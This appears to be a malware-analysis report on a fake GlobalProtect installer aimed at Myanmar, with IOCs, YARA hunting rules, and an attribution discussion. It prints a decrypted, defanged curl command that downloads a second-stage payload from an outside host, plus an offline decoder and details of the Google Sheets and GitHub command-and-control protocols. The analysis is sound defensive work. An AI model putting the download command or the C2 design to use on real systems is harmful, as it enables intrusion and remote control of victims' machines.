This is a useful analytical control. A hostname appearing inside a suspicious process does not automatically belong to the attacker. Certificate validation, proxy discovery, operating-system services, and loaded dependencies can generate background traffic. In this case, c.pki.goog is excluded from the C2 assessment.
MalwareINFO evidence workflow
What the Deep API Trace sessions observed
The short initial Deep API Trace run retained 524 events and helped identify where to place the next breakpoints and captures, but it was not the source of the main network findings. The decisive GlobalProtect trace was session api_0459ae405ab09f4e1a161c393bcf7e0f, bound to PID 4536 and the same executable SHA-256. From 2026-09-15T08:23:59Z until process exit at 08:24:21Z, it retained 3,568 timeline records, including 2,729 exact API observations with zero reported drops. That session supplied the C13 request, CreateProcessW, pipe reads and D13 request described below. A separate trace followed NGXPckg.exe. For a broader explanation of the collection method, see Understanding Malware INFO Deep API Trace.
From live process capture to reviewable memory evidence
MalwareINFO Process Memory Capture was used separately to preserve the running process. It produced a completed Full User-Mode Dump of the x64 GlobalProtect.exe process, PID 7268. The capture manifest bound the artifact to the process creation identity, executable path, architecture, file identity and exact executable SHA-256.
The supplied evidence archive had SHA-256 f4531d6c4f7d675fa297672ad7fd82fa49d943e360e078bcf0bb65318d59dec8 and contained one file, memory-full.dmp. After extraction, the dump identity was independently recomputed before analysis rather than trusted from its filename.
The dump was 71,815,859 bytes with SHA-256:
4f12bac08422ba0f7a16c30b94572953f6a9640403f043b7c3bf3838a0c5cafa
This binding records which process was captured and reduces the risk of treating evidence from another execution as evidence from this one. It does not, by itself, establish maliciousness. Process memory can also contain credentials, documents, decrypted content, tokens and other sensitive data; the dump must be handled as confidential evidence and must not be shared publicly or with unauthorized parties. See Process Memory Capture: Preserving and Analyzing Live-Process Evidence for the operational workflow and privacy boundary.
MalwareINFO Payload & Memory Analyzer then examined the dump locally under a static-only safety contract. It did not execute the dump or copy the raw artifact into the report package. The resulting package contained 77,474 normalized evidence records across six manifest-hashed chunks, retained 50,000 bounded strings, and produced eight capability findings for analyst review.
The minidump inventory reported 56 loaded images, 12 threads and 618 memory regions. Of those regions, 435 were committed, 114 were executable and nine were private executable regions. These are navigation and prioritization measurements. Private executable memory is not automatic proof of shellcode, process injection, or malicious execution.
The retained strings included the investigated ip-api.com URL, Cloudflare Worker path, Google OAuth/Sheets artifacts, and command-shell terms. The Analyzer grouped related artifacts into hypotheses including network communication, persistence, command execution, cryptographic operations, and process-memory modification potential. These findings are leads, not proof that every capability ran. The package recorded zero runtime-observed API calls.
Together, the two MalwareINFO workflows provided a practical working set: Process Memory Capture preserved the selected process, and Payload & Memory Analyzer turned the dump into searchable strings, memory regions and linked findings. We used those results as a map back to the executable and debugger—not as an automatic verdict. For further detail, see From Captured Memory to Defensible Evidence.
Recovered attacker configuration
The table below gathers the configuration and protocol values that are useful for investigation. Authentication material, the active spreadsheet identifier and victim-linked values are omitted; the remaining infrastructure and identifiers are published in defanged or directly searchable form.
| Item | Public-safe result | Evidence class | Boundary |
|---|---|---|---|
| Package identity | GlobalProtect VPN 11.5.0 / PaloAlto | Static capability | Attacker-controlled metadata, not vendor verification |
| Install directory | C:\Program Files\PaloAlto\GlobalProtect VPN | Static capability and host corroboration | Case-specific path |
| Geolocation | ip-api.com/json, SheetsBot/1.0, Myanmar condition | Observed | Shared service; analyst IP omitted |
| Worker gate | numbered hewlett-pack1 through hewlett-pack9 family and /config0 | Runtime memory; hewlett-pack1 DNS-observed | Hosts 2-9 were not network-observed; PCAP response body remained encrypted |
| Gate request | SheetsBot/1.0 and populated X-Bot-Secret; value withheld | Runtime-memory observed | Header is strongly supported as gate-authentication material; server logic remains unknown |
| Configuration response | google_creds, spreadsheet identifier and service-account fields | Debugger observed via InternetReadFile | Reusable credentials and resource identifiers withheld |
| Google Cloud project | elliptical-tree-505904-p7 | Debugger observed | Usage does not prove ownership or account provenance |
| Service account | [email protected] | Debugger observed | Infrastructure identifier, not a human attacker identity |
| Google client ID | 101714939433347726433 | Debugger observed | Client identifier, not an OAuth token or victim ID |
| Spreadsheet ID | Recovered; exact value withheld | Debugger observed | Later A1/B1/C1 activity was observed; the resource value remains withheld |
| Private-key ID | Recovered; exact value withheld | Debugger observed | Complete private key also recovered and withheld |
| OAuth authorization | Verified RS256 assertion, successful response and populated Bearer token | Debugger observed and Runtime-memory observed | Reusable token withheld; authorization scope beyond the captured process is not asserted |
| Sheets channel, earlier session | A1 read, B1 update and C1 poll | Runtime-memory observed | The retained C1 response contained no command; no D1 write was observed in that session |
| Sheets channel, later session | C13 command material and D13 result path | Observed at API/runtime boundary | D13 request API success and response bytes alone do not establish remote persistence |
| Separate Sheet read-back | A1:A15 identifiers, B1:B15 metadata, C1:C14 identical encrypted values, and D13 output | Analyst read-back | The mutable Sheet state is later evidence; it does not revise the earlier empty C1 response or identify the writer of D13 |
| Command handling | hidden child process with combined output collection | Observed in later GlobalProtect session | CreateProcessW succeeded and 628 pipe bytes were read; completed download and payload identity were not verified |
| Startup artifacts | GlobalProtectVPN and GlobalProtectVPNUpdate | Static and host evidence | Validate referenced action and identity |
Campaign fingerprints and clustering pivots
Useful pivots include the two MSI GUIDs, the exact hewlett-pack1 DNS hostname, the memory-resident numbered Worker pattern, /config0, SheetsBot/1.0, elliptical-tree-505904-p7, the recovered service-account identifier, client ID, the -tk- B-column metadata marker, the RunOnce and task names, the install directory, the four Sheets ranges and the 18-second build/package timestamp interval. Analysts should search for combinations across packages, endpoints and permitted telemetry. A Worker family plus the gate-header name, campaign user agent, Google project identity, service account, Sheets protocol and AmountOfFreeDiskSpace KDF input has more clustering value than any field alone. Only hewlett-pack1 has retained network evidence in this case.
Clustering is not attribution. Similarities may result from shared builders, copied code, reused infrastructure or deliberate imitation. Geography is especially weak by itself. Kaspersky's public HoneyMyte/CoolClient reporting provides regional context, but its reported PlugX, DLL side-loading, injected process and kernel-driver chain were not established in this case. Public SideWinder reporting supplies a closer victimology and delivery comparison, while the DellHeuristics/NGXPckg protocol overlap supplies a case-local pivot; neither establishes actor ownership.
Evidence matrix
| Claim | Evidence level | Basis |
|---|---|---|
| The supplied MSI and embedded x64 executable are unsigned | Verified static | Authenticode and PE/package inspection |
| The executable checked a Myanmar geolocation result | Observed | PCAP request/response, process memory and static control-flow artifacts |
| The process contacted Cloudflare and Google infrastructure | Observed | DNS/TCP packet evidence and Process Monitor network events |
hewlett-pack1 was resolved in the retained sessions | Observed | A-record query and response in each PCAP |
| Numbered Worker hosts 1-9 were materialized by the process | Observed data in runtime artifact | Full-dump private-memory regions; only host 1 was DNS-observed |
A /config0 request with the campaign user agent and populated secret header was constructed | Runtime-memory observed | Coherent writable private-memory request material; secret withheld |
| Cloudflare returned configuration JSON to the process | Debugger observed | Plaintext InternetReadFile response buffer; PCAP body remained encrypted by TLS |
| An actual spreadsheet ID and Google credential object were received | Debugger observed | Response fields and matching writable private-memory data; sensitive values withheld where necessary |
| Google project ID, service-account identity and client ID were received | Debugger observed | Values recovered from the plaintext configuration response |
| Complete private-key material was received | Debugger observed; withheld | Complete credential delimiters and content were present; no key material is published |
| An RS256 JWT assertion was constructed and signed | Runtime-memory observed | Decoded claim structure and signature verified against the recovered key; complete token withheld |
| A JWT bearer-grant request body was constructed | Runtime-memory observed | Grant type, assertion parameter and form-encoded request material in later captures |
| An OAuth access token was obtained | Debugger observed; runtime-memory corroborated | Successful response metadata and populated token/Bearer material; token withheld |
Sheet1!A1 was read | Runtime-memory observed | Exact request and response-shaped value material; returned value withheld |
Sheet1!B1 was updated | Runtime-memory observed | Response reports one updated row, column and cell |
Sheet1!C1 was polled | Runtime-memory observed | Exact request and a retained response with no command value |
Sheet1!D1 result submission occurred | Not observed | No successful D1 request or update response recovered |
A later session retrieved command material from Sheet1!C13 | Observed | Exact request, 320 response bytes, retained cell material and independently reproduced offline decryption |
| GlobalProtect created the commanded shell child | Observed | Event 3213 recorded successful CreateProcessW, child PID 7040 and thread ID 1668 |
| GlobalProtect collected child output | Observed at API level | Eight nonzero ReadFile returns totaled 628 bytes before a zero-byte read |
Sheet1!D13 result submission was attempted | Observed attempt | Token-bearing request API returned true with a 2,529-byte optional body; 166 response bytes were retained |
| Column A contained row identifiers | Confirmed by separate read-back | A1:A15 held ten-character alphanumeric values; A1 and A7 matched, so unique device-to-row mapping was not established. |
| Column B contained geolocation metadata | Confirmed by separate read-back | Fourteen B cells held geolocation JSON followed by a -tk- suffix; B14 held only the suffix. The marker was not part of the observed A values. |
| Column C contained command material | Confirmed by separate read-back | C1:C14 held the same 224-character encrypted value; this later state does not negate the earlier empty C1 poll. |
| D13 contained command output | Confirmed by separate read-back | Only D13 was populated in D1:D16. Two reads decoded to UTF-16LE curl progress and connection errors with different elapsed times; neither value is byte-matched to the traced submission. |
| The requested second stage reached the VM | Confirmed | GlobalProtect.exe launched the recovered curl command, and NGXPckg.exe was present at the commanded C:\ProgramData\USOShared destination |
The analyzed NGXPckg.exe came from the recovered delivery source | Analyst confirmed | We copied the VM-deployed file for analysis and independently downloaded the same recovered URL; the analyzed file has SHA-256 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a |
NGXPckg.exe used the observed GitHub workflow | Observed with gaps | Its trace retained geolocation, raw-GitHub discovery, Contents API marker, token-bearing PUT, same-path GET, and local staging; remote mutation was not verified |
| The sample belongs to HoneyMyte or CoolClient | Not supported | No code, component, IOC or operational linkage sufficient for attribution |
| The operation is attributable to SideWinder | Not proven | Myanmar/South Asia victimology, geo-restriction, phishing delivery, and the indirect DellHeuristics/NGXPckg protocol bridge create a credible investigative lead, but no exact actor-specific IOC, malware lineage, or operator identity was established |
ATT&CK context
| Technique | Case status | Scope |
|---|---|---|
| T1566.002: Spearphishing Link | Incident-reported | Email link led to a Google Sites landing page; private message evidence is not published. |
| T1036.005: Match Legitimate Resource Name or Location | Verified static | GlobalProtect branding and naming were used by an unsigned, behaviorally unrelated package. |
| T1218.007: Msiexec | Installation context | A Windows Installer package launched the embedded executable; use of msiexec is not malicious by itself. |
| T1547.001: Registry Run Keys / Startup Folder | Package/host evidence | GlobalProtectVPN RunOnce entries referenced the installed executable. |
| T1053.005: Scheduled Task | Package/host evidence | A GlobalProtectVPNUpdate task artifact requested scheduled execution. |
| T1016.001: Internet Connection Discovery | Observed | The target requested public IP and country information from ip-api.com. |
| T1102: Web Service | Observed plus runtime-memory corroborated | Cloudflare configuration, OAuth token issuance, earlier A1/B1/C1 activity, later C13 retrieval and D13 submission attempt, plus the separate GitHub workflow were retained. A later D13 read-back confirmed stored command output, without attributing it to the traced write. |
| T1071.001: Web Protocols | Observed with gaps | HTTP/HTTPS APIs carried geolocation, configuration, Sheets, raw-GitHub and GitHub Contents API traffic; not every response body or HTTP status was retained. |
| T1059.003: Windows Command Shell | Observed in later GlobalProtect session | C13 material produced a cmd.exe /c command, CreateProcessW succeeded, and the parent collected 628 bytes from the child pipe. |
| T1105: Ingress Tool Transfer | Confirmed in the analysis VM | The recovered command downloaded the follow-on file to C:\ProgramData\USOShared\NGXPckg.exe; the deployed file was copied and analyzed. |
| T1497.003: Time Based Evasion | Static plus supporting runtime timing | NGXPckg.exe implements a CPU-intensive five-minute delay; its trace's first exact API evidence appeared about five minutes after collection began. |
ATT&CK mappings organize behavior. They do not add attribution, severity, intent, or response authority.
Detection and response opportunities
Defenders should hunt for the combined pattern rather than broad cloud-service indicators:
- exact MSI and executable hashes;
- an unsigned
GlobalProtect.exeinstalled underC:\Program Files\PaloAlto\GlobalProtect VPN\; GlobalProtect.exe /Installlaunched from an MSI custom action;- local
bcrypt.dll,WININET.dll, orCRYPT32.dllbeside the executable, verified by path, signer and hash; GlobalProtectVPNvalues under HKCU or HKLM RunOnce;- a scheduled task named
GlobalProtectVPNUpdate; SheetsBot/1.0requestingip-api.com/json;- the exact rare Worker hostname followed by Google OAuth or Sheets API traffic from the same executable;
- the recovered Google Cloud project, service-account identifier and client ID when correlated with the rare Worker family and campaign strings; and
- a
GlobalProtect.exechildcmd.exe /c curlsequence targetingcctvcam[.]serveblog[.]net/weblogin/ngxpkgandC:\ProgramData\USOShared\NGXPckg.exe; - the unsigned
NGXPckg.exehash, deployed path, five-minute delay, and correlated raw-GitHub/GitHub Contents API sequence; and - authenticated GitHub
PUTfollowed by a same-pathGET, while treating API success as distinct from HTTP status and remote-state verification.
If the chain appears on a production endpoint, follow the organization's incident-response plan. Isolate affected systems in a coordinated manner, preserve volatile evidence when safe, retain the installer and relevant logs, and investigate associated accounts and hosts. The CISA StopRansomware Guide emphasizes both prompt isolation and preservation of volatile evidence such as memory and security logs. Do not upload memory dumps to public services: they may contain credentials, personal data, documents and decrypted application content.
Defensive YARA hunting rules
The first rule was published with the original September 2 investigation. Its metadata date remains September 2 even though the surrounding article has since been updated. It combines the gate path and header name, all four spreadsheet ranges, all three protocol markers, and at least two campaign-specific artifacts. The condition remains file-focused: the C13 command was supplied remotely and is therefore not added as an embedded static string.
rule MALWAREINFO_Fake_GlobalProtect_Myanmar_Sheets_C2
{
meta:
description = "Detects the investigated Fake GlobalProtect Myanmar Google Sheets C2 implementation"
author = "Malware INFO Research Team"
date = "2026-09-02"
reference_sample = "33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c"
confidence = "High for this sample; analyst correlation required"
scope = "Hunting aid; requires analyst correlation"
strings:
$gate_path = "/config0" ascii
$gate_header = "X-Bot-Secret" ascii
$gate_creds = "google_creds" ascii
$sheet_a = "Sheet1!A" ascii
$sheet_b = "Sheet1!B" ascii
$sheet_c = "Sheet1!C" ascii
$sheet_d = "Sheet1!D" ascii
$protocol_val = "val-" ascii
$protocol_command = "command-" ascii
$protocol_output = "out-" ascii
$campaign_agent = "SheetsBot/1.0" ascii
$campaign_kdf = "AmountOfFreeDiskSpace" ascii
$campaign_task = "GlobalProtectVPNUpdate" wide ascii
condition:
uint16(0) == 0x5a4d and
filesize < 2MB and
all of ($gate_*) and
all of ($sheet_*) and
all of ($protocol_*) and
2 of ($campaign_*)
}
The follow-on binary is structurally different enough to deserve its own rule. The second rule keys on the three embedded coordination markers recovered during reverse engineering, then requires two of the local-stage or request-path artifacts. It does not use the decrypted fallback IP address or GitHub hostnames because those values are not present as plaintext in the file.
rule MALWAREINFO_NGXPckg_GitHub_C2
{
meta:
description = "Detects the investigated NGXPckg.exe GitHub-coordinated follow-on payload"
author = "Malware INFO Research Team"
date = "2026-09-15"
reference_sample = "2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a"
confidence = "High for this sample; analyst correlation required"
scope = "Hunting aid; requires analyst correlation"
strings:
$marker_discovery = "Test1234" ascii
$marker_command = "Readme9823" ascii
$marker_mutex = "TM87945" ascii wide
$request_fallback = "/weblanguage.php" wide
$request_license = "/License" wide
condition:
uint16(0) == 0x5a4d and
filesize < 1MB and
all of ($marker_*) and
2 of ($marker_mutex, $request_fallback, $request_license)
}
Both rules were syntax-checked with the repository's YARA library and matched their respective supplied executables. Neither rule matched a bounded smoke corpus of 50 Windows System32 PE files selected alphabetically under 2 MiB. That small corpus is not a false-positive guarantee. These are hunting aids, not standalone malware verdicts; analysts should validate file identity, signer, path, process ancestry, persistence and network context before taking action.
Indicators
Network indicators are defanged. Shared services are contextual and should not be blocked globally without correlation.
| Type | Indicator | Scope |
|---|---|---|
| SHA-256 | a124caa58d956c7430ecb8772a3794266235917670c5b56564342bd1456897e7 | Supplied MSI |
| SHA-256 | 33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c | Embedded executable |
| Domain | sheets-config-gate.hewlett-pack1[.]workers[.]dev | DNS query and response observed in the retained PCAPs |
| Domain pattern | sheets-config-gate.hewlett-pack{1..9}[.]workers[.]dev | Full-dump runtime-memory family; hosts 2-9 were not network-observed |
| URI | /config0 | Correlate with the exact hostname and process |
| User agent | SheetsBot/1.0 | Correlate with the process and destination sequence |
| Registry value | GlobalProtectVPN under HKCU/HKLM RunOnce | Verify referenced executable identity |
| Scheduled task | GlobalProtectVPNUpdate | Verify task action, creator and timestamps |
| Path | C:\Program Files\PaloAlto\GlobalProtect VPN\GlobalProtect.exe | Case-specific deceptive installation path |
| Contextual service | ip-api[.]com/json | Legitimate shared geolocation service |
| Contextual service | oauth2.googleapis[.]com | Legitimate shared Google service; successful token issuance was observed only in the correlated target-process evidence |
| Contextual service | sheets.googleapis[.]com | Legitimate shared Google service; correlate with observed A1/B1/C1 operations and exact process identity |
| SHA-256 | 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a | Unsigned NGXPckg.exe copied from the VM deployment and independently reacquired from the recovered delivery URL |
| Domain / URI | cctvcam[.]serveblog[.]net/weblogin/ngxpkg | Defanged transfer source recovered from C13 command material |
| Path | C:\ProgramData\USOShared\NGXPckg.exe | Destination named by the recovered command; file creation and identity were not retained in the first-stage trace |
| Runtime service / URI | raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/Readme12 | Payload trace retained a 9-byte Test1234 response |
| Runtime service / URI | raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/infosource45 | Payload trace retained 65 response bytes; reusable secret material is withheld |
| Runtime service / URI | api.github[.]com/repos/faviconicons2/images/contents/License | Payload trace retained the 11-byte Readme9823 marker |
| Alternate host | 5.230.254[.]220 | Decrypted payload configuration; runtime use was not observed |
| Local path | %LOCALAPPDATA%\TM87945 | Payload trace observed a 16-byte write |
| Google Cloud project ID | elliptical-tree-505904-p7 | Runtime-delivered CTI pivot; project ownership is not established |
| Service-account identifier | [email protected] | Campaign-used cloud identity; not a victim or human attacker email |
| Google client ID | 101714939433347726433 | Identifier associated with the recovered service-account object |
| Spreadsheet resource ID | Recovered; exact value withheld | Active resource identifier retained in the internal evidence ledger |
| Credential key ID | Recovered; exact value withheld | Identifier retained internally; private key is not published |
The memory-dump hash is retained in the internal evidence ledger but is not offered as a downloadable artifact. Publishing a dump would expose far more than an inert identifier.
Comparison with public HoneyMyte reporting
Kaspersky's August 2026 Securelist report, HoneyMyte upgrades CoolClient: the backdoor gets a kernel-mode rootkit, describes intrusions affecting several Asian countries, including Myanmar. Its analyzed chain used PlugX as an initial implant, a legitimate Sangfor application for DLL side-loading, encrypted stages, injection into synchost.exe, and a kernel-mode driver.
None of those defining components was established in this case. Our sample arrived as an MSI, installed an unsigned standalone executable, used GlobalProtect branding, and contained a Cloudflare/Google Sheets design. Myanmar relevance is not enough to connect two operations. This comparison supplies regional context and, more importantly, demonstrates why victim geography alone is weak attribution evidence.
Comparison with public SideWinder reporting
SideWinder is a more relevant investigative hypothesis than HoneyMyte, but it is not a proven attribution. Kaspersky's reporting on SideWinder activity in the second half of 2024 places Myanmar among the targeted countries and describes sustained interest in government, military, diplomatic, maritime and logistics organizations across South and Southeast Asia. Group-IB's earlier investigation likewise documents Myanmar targeting, phishing links and imitation websites. A Trellix 2026 case study adds a useful behavioral parallel: a professional email lure led through a link-based installer chain whose delivery was restricted by country. Those characteristics make targeted delivery, trusted-resource impersonation and geofencing relevant comparison points.
The strongest case-specific reason to investigate SideWinder is not geography alone. The recovered NGXPckg.exe reproduced the same distinctive GitHub sequence documented in our DellHeuristics investigation: public geolocation, raw-GitHub bootstrap discovery, the faviconicons2/images Contents API path, the License object, the Readme9823 continuation marker, a token-bearing randomized-path PUT, and a same-path GET. The DellHeuristics case has a separate, stronger SideWinder lead because its embedded 88.119.161[.]40 exactly matched a previously published Bangladesh e-GOV CIRT phishing IOC and fit later regional reporting. That does not transfer attribution automatically to this case.
The payload link is direct within the investigation: C13 named the delivery URL and destination, the file landed at that destination in the VM, and we copied and analyzed it. The remaining attribution question is different. Even exact protocol overlap between NGXPckg.exe and DellHeuristics.exe does not establish common code lineage, an operator, or a campaign. The SideWinder chains described in the public reports reviewed here generally used malicious Office documents or a ClickOnce lure, JavaScript/HTA stages, DLL side-loading, .NET loaders and StealerBot. This case instead begins with an unsigned MSI and standalone GlobalProtect-themed executable using Cloudflare and Google Sheets. No reviewed public report linked this case's hashes, domains, Google project, Readme9823, faviconicons2/images, or Sheets protocol directly to SideWinder.
The defensible assessment is therefore: SideWinder is a credible and more relevant investigative lead than HoneyMyte, but the available evidence does not support actor attribution. HoneyMyte remains useful as a negative regional comparison; SideWinder identifies the higher-value direction for additional intelligence collection.
Follow-on investigation: September 15 tasking and NGXPckg.exe
The September 15 run finally caught the tasking branch that the empty C1 session had missed. Session api_0459ae405ab09f4e1a161c393bcf7e0f followed GlobalProtect.exe PID 4536, SHA-256 33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c, from 2026-09-15T08:23:59Z until process exit at 08:24:21Z. It retained 3,568 timeline records, including 2,729 exact API observations with zero reported drops.
A later Google Sheets session changes the earlier tasking assessment
Unlike the earlier Sheet1!C1 poll, this session found encrypted text in Sheet1!C13. C13 is the cell address, not a claim that this was the thirteenth connection or execution. Reverse engineering of GlobalProtect.exe gave us the decoding procedure:
- Interpret the C13 text as hexadecimal bytes.
- Use the first 16 decoded bytes as the CBC initialization vector.
- Use
SHA-256("AmountOfFreeDiskSpace")as the 32-byte AES key. - Decrypt the remaining bytes with AES-256-CBC and remove PKCS#7 padding.
The 112 decoded bytes produced a 90-byte plaintext command. To make that result independently reproducible without contacting any external service, the retained ciphertext and an offline decoder are published below. The command output remains defanged.
C13 response ciphertext and reproducible decoder
The C13 value came from the retained 320-byte response artifact response-67affd574f8c4ba5be444b138ac0849c.bin (SHA-256 C149E724AD568BF9CF77F09A37305F2B8D1DB1A47FDB4F4D9EE864025FB60DBB). The JSON identified the range as Sheet1!C13; its single value was the following 224-character hexadecimal string:
D852F3D2F7F54A27DB6A7B70C4B0B537D0A53002C2A7E8711799BBFE9B5714B2F6342B9DCB23E712A9F80F129E992985FCAD4AD74B6E9746B84C910ECD00815B41317A4DD9A9BF51A420A34CACD59143E2A009F99B439D7EB30B435EF4476A9F1333470F30966D4243E18E7F55946EAE
The following Python example requires the cryptography package. It only decodes and decrypts the supplied string in memory: it performs no network request, writes no payload, and launches no process. The recovered text is defanged immediately before printing.
from hashlib import sha256
import re
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
c13_hex = (
"D852F3D2F7F54A27DB6A7B70C4B0B537"
"D0A53002C2A7E8711799BBFE9B5714B2"
"F6342B9DCB23E712A9F80F129E992985"
"FCAD4AD74B6E9746B84C910ECD00815B"
"41317A4DD9A9BF51A420A34CACD59143"
"E2A009F99B439D7EB30B435EF4476A9F"
"1333470F30966D4243E18E7F55946EAE"
)
blob = bytes.fromhex(c13_hex)
iv, ciphertext = blob[:16], blob[16:]
key = sha256(b"AmountOfFreeDiskSpace").digest()
decryptor = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
padded = decryptor.update(ciphertext) + decryptor.finalize()
unpadder = PKCS7(128).unpadder()
plaintext = unpadder.update(padded) + unpadder.finalize()
text = plaintext.decode("utf-8")
# Defang URLs before printing so the example cannot be clicked accidentally.
safe_text = text.replace("https://", "hxxps://")
safe_text = re.sub(
r"(?<=://)([^/]+)",
lambda match: match.group(1).replace(".", "[.]"),
safe_text,
)
print(f"Decoded bytes: {len(blob)}")
print(f"Plaintext bytes: {len(plaintext)}")
print(safe_text)
Validated output:
Decoded bytes: 112
Plaintext bytes: 90
curl hxxps://cctvcam[.]serveblog[.]net/weblogin/ngxpkg -o C:\programData\USOShared\NGXPckg.exe
The program prepended its embedded command-shell string, yielding the following execution intent:
c:\windows\system32\cmd.exe /c curl hxxps://cctvcam[.]serveblog[.]net/weblogin/ngxpkg -o C:\programData\USOShared\NGXPckg.exe
Event 3213 captured the transition from decoded text to execution. GlobalProtect.exe+0xAE59 called CreateProcessW with inherited pipe handles; the call succeeded and returned child PID 7040 and thread ID 1668. The empty C1 result remains true for the earlier run, but command execution was no longer only a capability reconstructed from code.
The parent read the inherited pipe eight times—1, 235, 1, 77, 1, 77, 1 and 235 bytes—for a total of 628 bytes, followed by a zero-byte read. It then sent a 2,529-byte body to Sheet1!D13 and received 166 response bytes. The trace establishes the submission attempt and response, but did not retain an HTTP result or a read-back. Separate analyst queries found D13 populated with hex-encoded UTF-16LE curl output reporting a connection failure; the two retained values differ in the reported elapsed time. That confirms column D's result-storage role and shows that the cell can change, but the different byte counts prevent us from identifying this trace as the source of either exact value.
The download also landed in the analysis VM at C:\ProgramData\USOShared\NGXPckg.exe. We copied that deployed file for static and runtime analysis and independently downloaded the same recovered URL to verify the acquisition path. The analyzed NGXPckg.exe is therefore the confirmed follow-on payload from this investigation, not an unrelated file inferred from its name.
New IOC: NGXPckg.exe and associated C2 infrastructure
The file copied from the VM's USOShared directory is 346,112 bytes and is not Authenticode-signed. We recomputed its SHA-256 directly from the executable. Network indicators below are defanged; shared services such as GitHub should be matched with the surrounding process, path, signer and request sequence.
| IOC role | Indicator | Evidence scope |
|---|---|---|
NGXPckg.exe SHA-256 | 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a | Unsigned follow-on payload copied from the VM deployment and analyzed directly |
| Primary C2 service domain | api.github[.]com | Static capability and later runtime observation: GitHub Contents API marker retrieval, PUT, and same-path verification GET |
| Fallback discovery domain | raw.githubusercontent[.]com | Static capability and later runtime observation: staged marker and configuration retrieval |
| Alternate C2 endpoint | 5.230.254[.]220 | Decrypted alternate host; runtime use was not observed |
| Delivery domain | cctvcam[.]serveblog[.]net | Observed in the decrypted C13 transfer command and independently used to reacquire the payload; distinct from its GitHub C2 service |
| Delivery URI | /weblogin/ngxpkg | Observed transfer source path in the decrypted C13 command |
Here, api.github[.]com is the primary C2 service domain identified from NGXPckg.exe's static control flow. By contrast, cctvcam[.]serveblog[.]net is the delivery domain used by the first stage to request the second-stage executable. This distinction prevents a download host from being mislabeled as the payload's command-and-control service.
NGXPckg.exe behavior summary
After a CPU-intensive five-minute delay, the sample checks Internet connectivity and applies a Myanmar geolocation gate. It can obtain or derive configuration through raw GitHub content or an alternate host, poll GitHub Contents API paths for tasking, execute received commands through a hidden cmd.exe /c child process, capture stdout and stderr through an anonymous pipe, and return collected results through GitHub PUT requests. Static analysis established those capabilities; a separate MalwareINFO Pro Deep API Trace run confirmed the geolocation, raw-GitHub discovery, GitHub marker, token-bearing PUT, same-path verification GET, and local staging portions at runtime. Command execution by NGXPckg.exe itself was not observed in that run.
Static analysis details for NGXPckg.exe
The matching IDA database and decompiler output support the following offline findings:
- Five-minute execution delay:
WinMainadds300000000000nanoseconds to a monotonic time value and repeatedly performscos,sin,sqrt,logandatancalculations until that deadline. This is a CPU-intensive time delay consistent with sandbox-evasion behavior; it is not proof that a particular sandbox was detected. - Connectivity and Myanmar gate: after the delay, the sample calls
InternetGetConnectedState, decryptsip-api[.]com, requests/json, extractscountryCode, and accepts the two-byte valueMMor a response containingMyanmar. A nonmatching result opens a legitimate Microsoft support page as a decoy and exits. - Encrypted configuration: embedded Base64 strings are decoded and decrypted with an embedded 32-byte AES key, AES-256-CBC, a zero IV and PKCS#7 removal. Confirmed plaintexts include
ip-api.com,raw.githubusercontent.com,api.github.com,faviconicons,5.230.254.220, the prefixthetcoregorup, andc:\windows\system32\cmd.exe /c. - Fallback discovery: the code iterates numeric candidates 1 through 10 beneath a
thetcoregorupprefix onraw.githubusercontent[.]com, requests paths ending in/collection/refs/heads/main/Readme12, looks for markerTest1234, then requests/collection/refs/heads/main/infosource45and decrypts the returned content. The later Deep API Trace run observed both requests againstthetcoregorup1/collection, a 9-byteTest1234response and a 65-byte second response. - Alternate host path: when its fallback flag is set, the sample can use
5.230.254[.]220and request/weblanguage.php. - GitHub command channel: the code decrypts
api.github.comand thefaviconiconsprefix, then tries the repository familyfaviconicons{2..10}. In concrete terms, the marker paths run from/repos/faviconicons2/images/contents/Licensethrough/repos/faviconicons10/images/contents/License. A response containingReadme9823selects the repository. The sample can then construct a per-host.txtpath and issue authenticated GitHub Contents APIGETandPUTrequests. The repository names and paths are research indicators; only the reusable authorization token is withheld. - Command execution and collection: a dedicated routine creates an anonymous pipe, prepends the decrypted
c:\windows\system32\cmd.exe /cstring to received arguments, callsCreateProcessWwith inherited stdout and stderr handles andCREATE_NO_WINDOW, then reads the output throughReadFile. - Local staging: the sample resolves local application data with
SHGetFolderPathW, appends\TM87945, and reads a local value used by its request-building logic.
These findings show that the recovered follow-on payload implements its own delayed, Myanmar-gated command channel with multiple web-service discovery and fallback paths. The later runtime evidence confirms that several of those paths were active during the identified session. The analysis does not identify who operated the infrastructure or show that every embedded fallback was live.
Runtime confirmation from NGXPckg.exe
MalwareINFO Pro Deep API Trace session api_f128baa098cdd6caaf01f8a968a9eadd followed NGXPckg.exe PID 3352 at C:\ProgramData\USOShared\NGXPckg.exe. The executable identity in the retained process-memory evidence is SHA-256 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a. Collection ran from 2026-09-15T10:06:48Z until the identity-bound target exited at 10:12:45Z. The session retained 2,511 events with zero reported drops.
The first exact API event appeared about five minutes after collection began, matching the delay reconstructed from the executable. The trace attached after process startup, so we use it to confirm the network sequence rather than to describe every startup instruction.
The retained WinHTTP sequence was:
| Order | Runtime request | Retained result | Assessment |
|---|---|---|---|
| 1 | GET http://ip-api[.]com/json | Send, receive and read returned success; 297 bytes of JSON reported countryCode MM | Myanmar geolocation gate input was received |
| 2 | GET https://raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/Readme12 | Send, receive and read returned success; 9 bytes contained Test1234 | Raw-GitHub discovery marker was received |
| 3 | GET https://raw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/infosource45 | Send, receive and read returned success; 65 bytes were retained | Bootstrap/configuration material was received; reversible secret material is withheld |
| 4 | Authenticated GET https://api.github[.]com/repos/faviconicons2/images/contents/License | Send, receive and read returned success; 11 bytes contained Readme9823 | GitHub repository marker was received |
